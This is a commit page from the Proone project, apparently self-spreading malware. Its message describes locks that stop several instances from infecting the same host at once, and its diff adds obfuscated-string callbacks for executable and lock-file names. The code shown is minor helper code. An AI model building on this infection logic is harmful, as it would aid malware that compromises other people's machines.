aboutsummaryrefslogtreecommitdiff
path: root/src/proone.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-08-13 18:22:35 +1000
committerDavid Timber <mieabby@gmail.com>2021-08-13 21:50:26 +1000
commit73799fe772152089a6c57aa339f08426cf3eaf11 (patch)
tree6f7c7d2b6266c84ef49499791f252bea2feccd81 /src/proone.c
parenta685a85d71e4948c61e811ca24c7b85d601bfcba (diff)
Impl bne ...
* Add upload lock mechanism to prevent multiple instances trying to infect the same host simultaneously * Add "upload guard". The upload guard cleans up the lock file and the upload directory in the event of upload failure * Fix bug in bne_vssh_flush_f() * prne_strzero() accepts NULL * Fix Proone: missing prne_dvault_reset() calls
Diffstat (limited to 'src/proone.c')
-rw-r--r--src/proone.c20
1 files changed, 11 insertions, 9 deletions
diff --git a/src/proone.c b/src/proone.c
index 17d88a5..6b3905d 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -458,6 +458,7 @@ static void alloc_recon (void) {
}
END: // CATCH
+ prne_dvault_reset();
prne_free_recon_param(&param);
}
@@ -1341,16 +1342,16 @@ END:
}
static char *bne_cb_exec_name (void *ctx) {
- size_t dvl;
- const char *dv_str;
- char *ret;
-
- dv_str = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &dvl);
- ret = prne_alloc_str(dvl);
- if (ret != NULL) {
- memcpy(ret, dv_str, dvl + 1);
- }
+ char *ret = prne_dup_str(
+ prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, NULL));
+ prne_dvault_reset();
+ return ret;
+}
+static char *bne_cb_lock_name (void *ctx) {
+ char *ret = prne_dup_str(
+ prne_dvault_get_cstr(PRNE_DATA_KEY_BNE_LOCK_NAME, NULL));
+ prne_dvault_reset();
return ret;
}
@@ -1387,6 +1388,7 @@ static void init_bne (void) {
bne_param.cb.vercmp = bne_cb_vercmp;
bne_param.cb.tmpfile = cb_tmpfile;
bne_param.cb.upbin = cb_upbin;
+ bne_param.cb.bne_lock_name = bne_cb_lock_name;
if (prne_g.has_ba) {
bne_param.rcb = &prne_g.rcb_param;